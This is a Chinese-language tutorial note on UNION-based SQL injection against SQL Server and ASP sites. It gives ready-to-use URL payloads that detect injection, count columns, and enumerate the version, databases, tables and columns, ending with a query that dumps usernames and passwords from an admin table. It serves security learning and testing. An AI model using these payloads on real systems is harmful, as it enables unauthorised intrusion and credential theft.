我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!
文章目录
一、SQLSERVER+ASP 联合查询注入
1、SQLSERVER 相关概念:
(1)sqlserver经常与asp或者aspx一起使用,操作系统多数是win2012、win2018, 数据库版本大多是sql2008、sql2012
(2)sqlserver 常用系统函数:
@@version 版本信息
host_name() 计算机名称
suser_name() 用户登录名
user_name() 用户在数据库中的名字
show_role() 对当前用户起作用的规则
db_name() 数据库名
object_name(obj_id) 数据库对象名
col_name(obj_id,col_id) 列名
col_length(objname,colname) 列长度
valid_name(char_expr) 是否是有效标识符
(3)注释符号
--空格 单行注释
/* */ 多行注释
2、SQLSERVER+ASP 联合查询注入示例:
(1)判断是否存在注入:and/or逻辑判断
and 1=2 # 页面错误
and 1=1 # 页面正常
(2)判断列数:order by
?id=1 order by 3
?id=1 order by 4
(3)联合查询注入—判断回显位:联合查询要求,联合查询的列与被联合查询的列的个数和类型一致
,类型一致问题可以使用null值绕过。
示例1-类型必须一致:?id=1 union select 1,'2','3'
示例2-null值绕过类型:?id=1 union select null,null,null
示例3-前置查询结果置空绕过:?id=-1 union select 1,2,3
(4)联合查询注入—查询系统信息
示例1-查询版本:?id=1 union select 1,@@version,'3'
示例2-查询用户登录名:?id=1 union select 1,suser_name(),'3'
示例3-查询数据库名:?id=1 union select 1,db_name(),'3'
(5)联合查询—当前数据库的表名
?id=1 union select top 第几行前的数据 1,'2',name FROM mydb.sys.sysobjects where xtype = 'U'
示例1-查询mydb库的第一个表对象:?id=1 union select top 1 1,'2',name FROM mydb.sys.sysobjects where xtype = 'U'
示例2-查询mydb库的表对象(可以排除我们查过的表对象):?id=1 union select top 100 1,'2',name FROM mydb.sys.sysobjects where xtype = 'U' and name!='cmd'
示例3-查询mydb库的所有表对象:?id=1 union select top 100 1,'2',name FROM mydb.sys.sysobjects where xtype = 'U'
(6)联合查询—admin表的列/字段对象
?id=1 union Select 1,'2',name from 数据库名.sys.syscolumns Where ID=OBJECT_ID('数据库.dbo.表名')
示例1-查询admin表的所有字段名:?id=1 union Select 1,'2',name from mydb.sys.syscolumns Where ID=OBJECT_ID('mydb.dbo.admin')
示例2-查询admin表的字段名(排序某一项):?id=1 union Select 1,'2',name from mydb.sys.syscolumns Where ID=OBJECT_ID('admin') and name!='username'
(7)联合查询—admin表的数据
?id=1 union select null,字段名,字段名 from 表名
示例-查询admin表的数据:?id=1 union select null,username,password from admin
3、总结:
(1)联合查询要求,联合查询的列与被联合查询的列的个数和类型一致
(类型一致即可,或者前置查询结果置空绕过,或者null值代替列名绕过)。
(2)联合查询步骤:5步骤
1.当前库名:?id=1 union select 1,db_name(),'3'
2.当前库版本:?id=1 union select 1,@@version,'3'
3.当前库的所有表:?id=1 union select top 第几行前的数据 1,'2',name FROM mydb.sys.sysobjects where xtype = 'U'
4.某个表的所有字段:?id=1 union Select 1,'2',name from 数据库名.sys.syscolumns Where ID=OBJECT_ID('数据库.dbo.表名')
5.某个表的所有数据:?id=1 union select null,字段名,字段名 from 表名